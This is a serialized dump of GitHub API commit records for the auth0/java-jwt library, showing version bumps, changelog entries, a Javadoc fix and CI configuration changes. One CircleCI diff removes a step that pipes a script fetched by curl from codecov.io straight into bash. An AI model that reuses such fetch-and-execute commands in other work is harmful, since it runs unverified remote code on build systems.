uuj  \https://api.github.com/repos/auth0/java-jwt/commits/3d3980de9c0a84b6265de9263647cdbfda7c8a5bhtml_urlQhttps://github.com/auth0/java-jwt/commit/3d3980de9c0a84b6265de9263647cdbfda7c8a5bcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/3d3980de9c0a84b6265de9263647cdbfda7c8a5b/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents]}(j  (32935767d3414d1e91feec41ee69159b3d2524ebj  \https://api.github.com/repos/auth0/java-jwt/commits/32935767d3414d1e91feec41ee69159b3d2524ebj  Qhttps://github.com/auth0/java-jwt/commit/32935767d3414d1e91feec41ee69159b3d2524ebuastats}(totalK	additionsK	deletionsKufiles]}(j  (9cf198c89eea1b8108df25d0c26143cb209483f1filename.circleci/config.ymlstatusmodifiedj
  Kj  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/3d3980de9c0a84b6265de9263647cdbfda7c8a5b/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/3d3980de9c0a84b6265de9263647cdbfda7c8a5b/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=3d3980de9c0a84b6265de9263647cdbfda7c8a5bpatch@@ -1,6 +1,6 @@
 version: 2.1
 orbs:
-  ship: auth0/ship@0.7.2
+  ship: auth0/ship@0.7.3
   codecov: codecov/codecov@3
 
 commands:uau(6621b504aa7a161478f3d0dc9749e9c9aa488176}(sha(6621b504aa7a161478f3d0dc9749e9c9aa488176node_idEC_kwDOAQtL0doAKDY2MjFiNTA0YWE3YTE2MTQ3OGYzZDBkYzk3NDllOWM5YWE0ODgxNzYcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-10-10T18:27:57Zu	committer}(j*  GitHubj,  noreply@github.comj.  2022-10-10T18:27:57Zumessage?Merge pull request #613 from auth0/release/4.1.0

Release 4.1.0tree}(j"  (7bb46c627baa5922fd705c6c8a7c995f8a7923c6url^https://api.github.com/repos/auth0/java-jwt/git/trees/7bb46c627baa5922fd705c6c8a7c995f8a7923c6uj:  `https://api.github.com/repos/auth0/java-jwt/git/commits/6621b504aa7a161478f3d0dc9749e9c9aa488176
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjRGQtCRBK7hj4Ov3rIwAAmeUIAAKmeemXaoJCs3S1P0Ra/IbD
TECXcU03FImUGhafzLfqgsldOPRAQx8N+//Nv8NbfDNOduL7uIOtAUKdseqNMab+
3cGN7MiO64HEFmX/2aY2FP5DnHMql1N8cAKPa5v/0hx2hruRDw73igzlxCw0s33O
snLTSy3/o1+vywxSOxtTOJfFwO20aGYOGatxrbRFGCjLo4ubr0McJmQd7loXf4kk
jodMAReqB5ZXirqvFyHUHNHCU0o27+rXSGwHPFQEmK7Lth6a+LOKt/RoseHCP18n
3klzUgsfKdx81+CGsW1g23keiFFE9L5HtSORkXBtpK2aqeQ/sZF+mNgaaZSpaPw=
=m0c+
-----END PGP SIGNATURE-----
payloadXC  tree 7bb46c627baa5922fd705c6c8a7c995f8a7923c6
parent 37c262de2e6709e93ee4bc0b927ec6e729621256
parent d2bf8d35e96ea8233f2a80ca6d7371ad54e5ba18
author Jim Anderson <jim.anderson@auth0.com> 1665426477 -0500
committer GitHub <noreply@github.com> 1665426477 -0500

Merge pull request #613 from auth0/release/4.1.0

Release 4.1.0uuj:  \https://api.github.com/repos/auth0/java-jwt/commits/6621b504aa7a161478f3d0dc9749e9c9aa488176html_urlQhttps://github.com/auth0/java-jwt/commit/6621b504aa7a161478f3d0dc9749e9c9aa488176comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/6621b504aa7a161478f3d0dc9749e9c9aa488176/commentsj(  }(login
jimmyjamesidJ7 j$  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j:  'https://api.github.com/users/jimmyjamesjH  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj0  }(jM  web-flowjO  J/j$  MDQ6VXNlcjE5ODY0NDQ3jQ  4https://avatars.githubusercontent.com/u/19864447?v=4jS  h3j:  %https://api.github.com/users/web-flowjH  https://github.com/web-flowjV  /https://api.github.com/users/web-flow/followersjX  <https://api.github.com/users/web-flow/following{/other_user}jZ  5https://api.github.com/users/web-flow/gists{/gist_id}j\  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j^  3https://api.github.com/users/web-flow/subscriptionsj`  *https://api.github.com/users/web-flow/orgsjb  +https://api.github.com/users/web-flow/reposjd  6https://api.github.com/users/web-flow/events{/privacy}jf  5https://api.github.com/users/web-flow/received_eventsjh  Userjj  uparents](}(j"  (37c262de2e6709e93ee4bc0b927ec6e729621256j:  \https://api.github.com/repos/auth0/java-jwt/commits/37c262de2e6709e93ee4bc0b927ec6e729621256jH  Qhttps://github.com/auth0/java-jwt/commit/37c262de2e6709e93ee4bc0b927ec6e729621256u}(j"  (d2bf8d35e96ea8233f2a80ca6d7371ad54e5ba18j:  \https://api.github.com/repos/auth0/java-jwt/commits/d2bf8d35e96ea8233f2a80ca6d7371ad54e5ba18jH  Qhttps://github.com/auth0/java-jwt/commit/d2bf8d35e96ea8233f2a80ca6d7371ad54e5ba18uestats}(totalK	additionsK	deletionsKufiles](}(j"  (04796fd76fbdf8e454f28ec430963aa334820caafilenameCHANGELOG.mdstatusmodifiedj  Kj  K changesKblob_url\https://github.com/auth0/java-jwt/blob/6621b504aa7a161478f3d0dc9749e9c9aa488176/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/6621b504aa7a161478f3d0dc9749e9c9aa488176/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=6621b504aa7a161478f3d0dc9749e9c9aa488176patchX  @@ -1,5 +1,26 @@
 # Change Log
 
+## [4.1.0](https://github.com/auth0/java-jwt/tree/4.1.0) (2022-10-06)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/4.0.0...4.1.0)
+
+**⚠️ BREAKING CHANGES**
+- Make JWT constants final values [\#604](https://github.com/auth0/java-jwt/pull/604) ([poovamraj](https://github.com/poovamraj))
+
+**Added**
+- Add integration with our Shipping orb [\#612](https://github.com/auth0/java-jwt/pull/612) ([frederikprijck](https://github.com/frederikprijck))
+- Add Ship CLI support [\#609](https://github.com/auth0/java-jwt/pull/609) ([jimmyjames](https://github.com/jimmyjames))
+- Provide straightforward example for JWKS [\#600](https://github.com/auth0/java-jwt/pull/600) ([poovamraj](https://github.com/poovamraj))
+
+**Changed**
+- Update to gradle 6.9.2 [\#608](https://github.com/auth0/java-jwt/pull/608) ([jimmyjames](https://github.com/jimmyjames))
+- Update OSS plugin to latest [\#607](https://github.com/auth0/java-jwt/pull/607) ([jimmyjames](https://github.com/jimmyjames))
+- [SDK-3466] Upgrade Codecov [\#595](https://github.com/auth0/java-jwt/pull/595) ([evansims](https://github.com/evansims))
+- Update README.md [\#590](https://github.com/auth0/java-jwt/pull/590) ([poovamraj](https://github.com/poovamraj))
+
+**Fixed**
+- Check for null token before splitting [\#606](https://github.com/auth0/java-jwt/pull/606) ([jimmyjames](https://github.com/jimmyjames))
+- [SDK-3816] Update docs for verification thread-safety [\#605](https://github.com/auth0/java-jwt/pull/605) ([jimmyjames](https://github.com/jimmyjames))
+
 ## [4.0.0](https://github.com/auth0/java-jwt/tree/4.0.0) (2022-06-24)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.2...4.0.0)
 u      }(j"  (a4fa509e8d84c8c98a8f27fc4e677e657a4a0fb1j  	README.mdj  modifiedj  Kj  Kj  Kj  Yhttps://github.com/auth0/java-jwt/blob/6621b504aa7a161478f3d0dc9749e9c9aa488176/README.mdj  Xhttps://github.com/auth0/java-jwt/raw/6621b504aa7a161478f3d0dc9749e9c9aa488176/README.mdj  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=6621b504aa7a161478f3d0dc9749e9c9aa488176j  X  @@ -39,7 +39,7 @@ This library is supported for Java 8, 11, and 17. For issues on non-LTS versions
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:4.0.0'
+implementation 'com.auth0:java-jwt:4.1.0'
 ```
 
 ### Maven
@@ -48,7 +48,7 @@ implementation 'com.auth0:java-jwt:4.0.0'
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>4.0.0</version>
+    <version>4.1.0</version>
 </dependency>
 ```
 u}(j"  (8ec1b6308f69a7679a18466920fc460ad8244fa1j  lib/build.gradlej  modifiedj  Kj  Kj  Kj  bhttps://github.com/auth0/java-jwt/blob/6621b504aa7a161478f3d0dc9749e9c9aa488176/lib%2Fbuild.gradlej  ahttps://github.com/auth0/java-jwt/raw/6621b504aa7a161478f3d0dc9749e9c9aa488176/lib%2Fbuild.gradlej  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=6621b504aa7a161478f3d0dc9749e9c9aa488176j  \@@ -1,5 +1,5 @@
 buildscript {
-    version = "4.0.0"
+    version = "4.1.0"
 }
 
 plugins {ueu(90d2f245ef5575d95bb00e2d087257e28d45f95c}(sha(90d2f245ef5575d95bb00e2d087257e28d45f95cnode_idEC_kwDOAQtL0doAKDkwZDJmMjQ1ZWY1NTc1ZDk1YmIwMGUyZDA4NzI1N2UyOGQ0NWY5NWMcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-10-07T23:41:02Zu	committer}(j  Jim Andersonj  jimranderson@gmail.comj  2022-10-07T23:41:02Zumessage#Update Claim#asString documentationtree}(j  (3110f1f64c8e81541eb09f2341534f1522cf8cecurl^https://api.github.com/repos/auth0/java-jwt/git/trees/3110f1f64c8e81541eb09f2341534f1522cf8cecuj  `https://api.github.com/repos/auth0/java-jwt/git/commits/90d2f245ef5575d95bb00e2d087257e28d45f95c
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/90d2f245ef5575d95bb00e2d087257e28d45f95chtml_urlQhttps://github.com/auth0/java-jwt/commit/90d2f245ef5575d95bb00e2d087257e28d45f95ccomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/90d2f245ef5575d95bb00e2d087257e28d45f95c/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j  
jimmyjamesj  J7 j  MDQ6VXNlcjI3NjIyNQ==j  2https://avatars.githubusercontent.com/u/276225?v=4j  h3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjamesj  1https://api.github.com/users/jimmyjames/followersj  >https://api.github.com/users/jimmyjames/following{/other_user}j  7https://api.github.com/users/jimmyjames/gists{/gist_id}j  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j  5https://api.github.com/users/jimmyjames/subscriptionsj  ,https://api.github.com/users/jimmyjames/orgsj  -https://api.github.com/users/jimmyjames/reposj  8https://api.github.com/users/jimmyjames/events{/privacy}j  7https://api.github.com/users/jimmyjames/received_eventsj  Userj  uparents]}(j  (37c262de2e6709e93ee4bc0b927ec6e729621256j  \https://api.github.com/repos/auth0/java-jwt/commits/37c262de2e6709e93ee4bc0b927ec6e729621256j  Qhttps://github.com/auth0/java-jwt/commit/37c262de2e6709e93ee4bc0b927ec6e729621256uastats}(totalK	additionsK	deletionsKufiles]}(j  (ca5244d660a9bd0de577b5c04800260aeb8f39b4filename5lib/src/main/java/com/auth0/jwt/interfaces/Claim.javastatusmodifiedj
  Kj  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/90d2f245ef5575d95bb00e2d087257e28d45f95c/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javaraw_urlhttps://github.com/auth0/java-jwt/raw/90d2f245ef5575d95bb00e2d087257e28d45f95c/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.java?ref=90d2f245ef5575d95bb00e2d087257e28d45f95cpatchX)  @@ -62,9 +62,10 @@ public interface Claim {
 
     /**
      * Get this Claim as a String.
-     * If the value isn't of type String or it can't be converted to a String, {@code null} will be returned.
+     * If the value isn't of type String, {@code null} will be returned. For a String representation of non-textual
+     * claim types, clients can call {@code toString()}.
      *
-     * @return the value as a String or null.
+     * @return the value as a String or null if the underlying value is not a string.
      */
     String asString();
 uau(21e68d8de65c16ffa8cba19923efe6fa144c427f}(sha(21e68d8de65c16ffa8cba19923efe6fa144c427fnode_idEC_kwDOAQtL0doAKDIxZTY4ZDhkZTY1YzE2ZmZhOGNiYTE5OTIzZWZlNmZhMTQ0YzQyN2Ycommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-08-25T01:37:54Zu	committer}(j*  GitHubj,  noreply@github.comj.  2022-08-25T01:37:54Zumessage"Merge branch 'master' into patch-1tree}(j"  (3f1c4c5cc755e1b43d9adaf7bb4a67e06955048durl^https://api.github.com/repos/auth0/java-jwt/git/trees/3f1c4c5cc755e1b43d9adaf7bb4a67e06955048duj:  `https://api.github.com/repos/auth0/java-jwt/git/commits/21e68d8de65c16ffa8cba19923efe6fa144c427f
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjBtJyCRBK7hj4Ov3rIwAALT8IAGRiGZd1iJ+zCWSXWJ+Qti8o
60r/2bvyVW4dDDGunaOFEuDz2xk/C9oPblK5kshTZLiSHTdM8eVGiAJp/w6hxR0t
hYWr5mQffVqBQRBS7ncbaGbO3sEimcknVMvPA3toq0uyOe70hQDSNt3R4MenWk/V
hfoxVsR5tgYbjhg7vsE5szMbwKiUc41hIBvG0hj0UkVKarighKcFxQw1qgr3VSJ2
WBv0GzLbuU9dY5ePapjHpWdqr5kgtYSHLtyRiQ65nXjXZLzZDWVG8Y0CQKvIX+De
BxtFaTqNe6qzyDxugBjdkeslIDAE3Yn0JozAsDIWPOevTXbezi5ZbOrEybjbDQg=
=oJh0
-----END PGP SIGNATURE-----
payloadX&  tree 3f1c4c5cc755e1b43d9adaf7bb4a67e06955048d
parent 13e49808da450d4dd26a40e413f19ce56d2d854e
parent 298b95458199fce91a44872c268530edcd2f2233
author Jim Anderson <jim.anderson@auth0.com> 1661391474 -0500
committer GitHub <noreply@github.com> 1661391474 -0500

Merge branch 'master' into patch-1uuj:  \https://api.github.com/repos/auth0/java-jwt/commits/21e68d8de65c16ffa8cba19923efe6fa144c427fhtml_urlQhttps://github.com/auth0/java-jwt/commit/21e68d8de65c16ffa8cba19923efe6fa144c427fcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/21e68d8de65c16ffa8cba19923efe6fa144c427f/commentsj(  }(login
jimmyjamesidJ7 j$  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j:  'https://api.github.com/users/jimmyjamesjH  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj0  }(jM  web-flowjO  J/j$  MDQ6VXNlcjE5ODY0NDQ3jQ  4https://avatars.githubusercontent.com/u/19864447?v=4jS  h3j:  %https://api.github.com/users/web-flowjH  https://github.com/web-flowjV  /https://api.github.com/users/web-flow/followersjX  <https://api.github.com/users/web-flow/following{/other_user}jZ  5https://api.github.com/users/web-flow/gists{/gist_id}j\  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j^  3https://api.github.com/users/web-flow/subscriptionsj`  *https://api.github.com/users/web-flow/orgsjb  +https://api.github.com/users/web-flow/reposjd  6https://api.github.com/users/web-flow/events{/privacy}jf  5https://api.github.com/users/web-flow/received_eventsjh  Userjj  uparents](}(j"  (13e49808da450d4dd26a40e413f19ce56d2d854ej:  \https://api.github.com/repos/auth0/java-jwt/commits/13e49808da450d4dd26a40e413f19ce56d2d854ejH  Qhttps://github.com/auth0/java-jwt/commit/13e49808da450d4dd26a40e413f19ce56d2d854eu}(j"  (298b95458199fce91a44872c268530edcd2f2233j:  \https://api.github.com/repos/auth0/java-jwt/commits/298b95458199fce91a44872c268530edcd2f2233jH  Qhttps://github.com/auth0/java-jwt/commit/298b95458199fce91a44872c268530edcd2f2233uestats}(totalK|	additionsKF	deletionsK6ufiles](}(j"  (1675c39fbd79cf6eba87148e42511922dfdefdd4filename.circleci/config.ymlstatusmodifiedj  Kj  K*changesKCblob_urlfhttps://github.com/auth0/java-jwt/blob/21e68d8de65c16ffa8cba19923efe6fa144c427f/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/21e68d8de65c16ffa8cba19923efe6fa144c427f/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=21e68d8de65c16ffa8cba19923efe6fa144c427fpatchX  @@ -1,4 +1,6 @@
 version: 2.1
+orbs:
+  codecov: codecov/codecov@3
 
 commands:
   checkout-and-build:
@@ -8,9 +10,9 @@ commands:
       # Download and cache dependencies
       - restore_cache:
           keys:
-          - v1-dependencies-{{ checksum "build.gradle" }}
-          # fallback to using the latest cache if no exact match is found
-          - v1-dependencies-
+            - v1-dependencies-{{ checksum "build.gradle" }}
+            # fallback to using the latest cache if no exact match is found
+            - v1-dependencies-
       - run: ./gradlew clean build
       - save_cache:
           paths:
@@ -19,19 +21,15 @@ commands:
   run-tests:
     steps:
       - run: ./gradlew check jacocoTestReport --continue --console=plain
-      - run:
-          name: Upload Coverage
-          when: on_success
-          command: bash <(curl -s https://codecov.io/bash) -Z -C $CIRCLE_SHA1
-#  TODO re-enable once 4.0.0 is released
-#  run-api-diff:
-#    steps:
-#      # run apiDiff task
-#      - run: ./gradlew apiDiff
-#      - store_artifacts:
-#          path: lib/build/reports/apiDiff/apiDiff.txt
-#      - store_artifacts:
-#          path: lib/build/reports/apiDiff/apiDiff.html
+      - codecov/upload
+  run-api-diff:
+    steps:
+      # run apiDiff task
+      - run: ./gradlew apiDiff
+      - store_artifacts:
+          path: lib/build/reports/apiDiff/apiDiff.txt
+      - store_artifacts:
+          path: lib/build/reports/apiDiff/apiDiff.html
 jobs:
   build:
     docker:
@@ -43,36 +41,21 @@ jobs:
       GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
       _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
       TERM: dumb
-#  api-diff:
-#    docker:
-#      - image: openjdk:11.0-jdk
-#    steps:
-#      - checkout-and-build
-#      - run-api-diff
-#    environment:
-#      GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
-#      _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
-#      TERM: dumb
-  semgrep:
+  api-diff:
     docker:
-      - image: returntocorp/semgrep-agent:v1
-    environment:
-      SEMGREP_REPO_NAME: "auth0/java-jwt"
-      SEMGREP_REPO_URL: "https://github.com/auth0/java-jwt"
+      - image: openjdk:11.0-jdk
     steps:
-      - checkout
-      - run:
-          name: Run vulnerabilities tests (Semgrep)
-          command: |
-            semgrep-agent --baseline-ref master --publish-token $SEMGREP_TOKEN
+      - checkout-and-build
+      - run-api-diff
+    environment:
+      GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
+      _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
+      TERM: dumb
 
 workflows:
   build-and-test:
     jobs:
       - build
-      - semgrep:
-          context:
-            - semgrep-env
-#  api-diff:
-#    jobs:
-#      - api-diff
+  api-diff:
+    jobs:
+      - api-diffu}(j"  (e0227e37cad30d85fb0a7277245df792bf4346a9j  .github/workflows/semgrep.ymlj  addedj  Kj  K j  Kj  qhttps://github.com/auth0/java-jwt/blob/21e68d8de65c16ffa8cba19923efe6fa144c427f/.github%2Fworkflows%2Fsemgrep.ymlj  phttps://github.com/auth0/java-jwt/raw/21e68d8de65c16ffa8cba19923efe6fa144c427f/.github%2Fworkflows%2Fsemgrep.ymlj  https://api.github.com/repos/auth0/java-jwt/contents/.github%2Fworkflows%2Fsemgrep.yml?ref=21e68d8de65c16ffa8cba19923efe6fa144c427fj  X  @@ -0,0 +1,24 @@
+name: Semgrep
+
+on:
+  pull_request: {}
+
+  push:
+    branches: ["master", "main"]
+
+  schedule:
+    - cron: '30 0 1,15 * *'
+
+jobs:
+  semgrep:
+    name: Scan
+    runs-on: ubuntu-latest
+    container:
+      image: returntocorp/semgrep
+    if: (github.actor != 'dependabot[bot]')
+    steps:
+      - uses: actions/checkout@v3
+
+      - run: semgrep ci
+        env:
+          SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}u}(j"  (6023d83613ed5f416031f91f1fffcb3a81c2f177j  CHANGELOG.mdj  modifiedj  Kj  K j  Kj  \https://github.com/auth0/java-jwt/blob/21e68d8de65c16ffa8cba19923efe6fa144c427f/CHANGELOG.mdj  [https://github.com/auth0/java-jwt/raw/21e68d8de65c16ffa8cba19923efe6fa144c427f/CHANGELOG.mdj  nhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=21e68d8de65c16ffa8cba19923efe6fa144c427fj  X  @@ -1,5 +1,20 @@
 # Change Log
 
+## [4.0.0](https://github.com/auth0/java-jwt/tree/4.0.0) (2022-06-24)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.2...4.0.0)
+
+**This is a major release and contains breaking changes!**
+
+- Check the [Migration Guide](https://github.com/auth0/java-jwt/blob/master/MIGRATION_GUIDE.md) to understand the changes required to migrate your application to v4.
+
+### Main features
+- Predicates based claim verification
+- Support for Instant API and Lambda functions
+- Improved Exceptions API
+- Consistent null handling
+
+See the changelog entries for additional details.
+
 ## [4.0.0-beta.0](https://github.com/auth0/java-jwt/tree/4.0.0-beta.0) (2022-05-06)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.2...4.0.0-beta.0)
 u}(j"  (bbc166c1480323d3f83909dd19a5fd167e9e92d7j  	README.mdj  modifiedj  Kj  Kj  Kj  Yhttps://github.com/auth0/java-jwt/blob/21e68d8de65c16ffa8cba19923efe6fa144c427f/README.mdj  Xhttps://github.com/auth0/java-jwt/raw/21e68d8de65c16ffa8cba19923efe6fa144c427f/README.mdj  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=21e68d8de65c16ffa8cba19923efe6fa144c427fj  X^  @@ -39,7 +39,7 @@ This library is supported for Java 8, 11, and 17. For issues on non-LTS versions
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:3.19.0'
+implementation 'com.auth0:java-jwt:4.0.0'
 ```
 
 ### Maven
@@ -48,16 +48,10 @@ implementation 'com.auth0:java-jwt:3.19.0'
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>3.19.2</version>
+    <version>4.0.0</version>
 </dependency>
 ```
 
-### Gradle
-
-```gradle
-implementation 'com.auth0:java-jwt:3.19.2'
-```
-
 ## Available Algorithms
 
 The library implements JWT Verification and Signing using the following algorithms:
@@ -205,18 +199,18 @@ By using a `KeyProvider` you can change in runtime the key used either to verify
 - `getPrivateKeyId()`: Its called during token signing and it should return the id of the key that identifies the one returned by `getPrivateKey()`. This value is preferred over the one set in the `JWTCreator.Builder#withKeyId(String)` method. If you don't need to set a `kid` value avoid instantiating an Algorithm using a `KeyProvider`.
 
 
-The following example shows how this would work with `JwkStore`, an imaginary [JWK Set](https://auth0.com/docs/jwks) implementation. For simple key rotation using JWKS, try the [jwks-rsa-java](https://github.com/auth0/jwks-rsa-java) library.
+The following example shows how this would work with `JwkProvider` from the [jwks-rsa-java](https://github.com/auth0/jwks-rsa-java) library.
 
 ```java
-final JwkStore jwkStore = new JwkStore("{JWKS_FILE_HOST}");
+final JwkProvider jwkProvider = new UrlJwkProvider("https://samples.auth0.com/");
 final RSAPrivateKey privateKey = //Get the key instance
 final String privateKeyId = //Create an Id for the above key
 
 RSAKeyProvider keyProvider = new RSAKeyProvider() {
     @Override
     public RSAPublicKey getPublicKeyById(String kid) {
         //Received 'kid' value might be null if it wasn't defined in the Token's header
-        RSAPublicKey publicKey = jwkStore.get(kid);
+        PublicKey publicKey = jwkProvider.get(kid).getPublicKey();
         return (RSAPublicKey) publicKey;
     }
 u}(j"  (01a5adbe1222145b827086ec99d8178ae301be72j  lib/build.gradlej  modifiedj  Kj  Kj  Kj  bhttps://github.com/auth0/java-jwt/blob/21e68d8de65c16ffa8cba19923efe6fa144c427f/lib%2Fbuild.gradlej  ahttps://github.com/auth0/java-jwt/raw/21e68d8de65c16ffa8cba19923efe6fa144c427f/lib%2Fbuild.gradlej  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=21e68d8de65c16ffa8cba19923efe6fa144c427fj  @@ -17,7 +17,7 @@ oss {
     repository "java-jwt"
     organization "auth0"
     description "Java implementation of JSON Web Token (JWT)"
-    baselineCompareVersion "3.18.2"
+    baselineCompareVersion "4.0.0"
 
     developers {
         auth0 {ueu(030c685a07d125b2eac813daaa222b8bd1631cf2}(sha(030c685a07d125b2eac813daaa222b8bd1631cf2node_idEC_kwDOAQtL0doAKDAzMGM2ODVhMDdkMTI1YjJlYWM4MTNkYWFhMjIyYjhiZDE2MzFjZjIcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-04T10:47:55Zu	committer}(j  
Poovamraj T Tj  poovamraj@gmail.comj  2022-03-04T10:47:55Zumessage4Added Gradle Tasks to run tests on Java LTS versionstree}(j  (d04448fe44092d8cc0f923563a34a10da0b0077aurl^https://api.github.com/repos/auth0/java-jwt/git/trees/d04448fe44092d8cc0f923563a34a10da0b0077auj  `https://api.github.com/repos/auth0/java-jwt/git/commits/030c685a07d125b2eac813daaa222b8bd1631cf2
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/030c685a07d125b2eac813daaa222b8bd1631cf2html_urlQhttps://github.com/auth0/java-jwt/commit/030c685a07d125b2eac813daaa222b8bd1631cf2comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/030c685a07d125b2eac813daaa222b8bd1631cf2/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
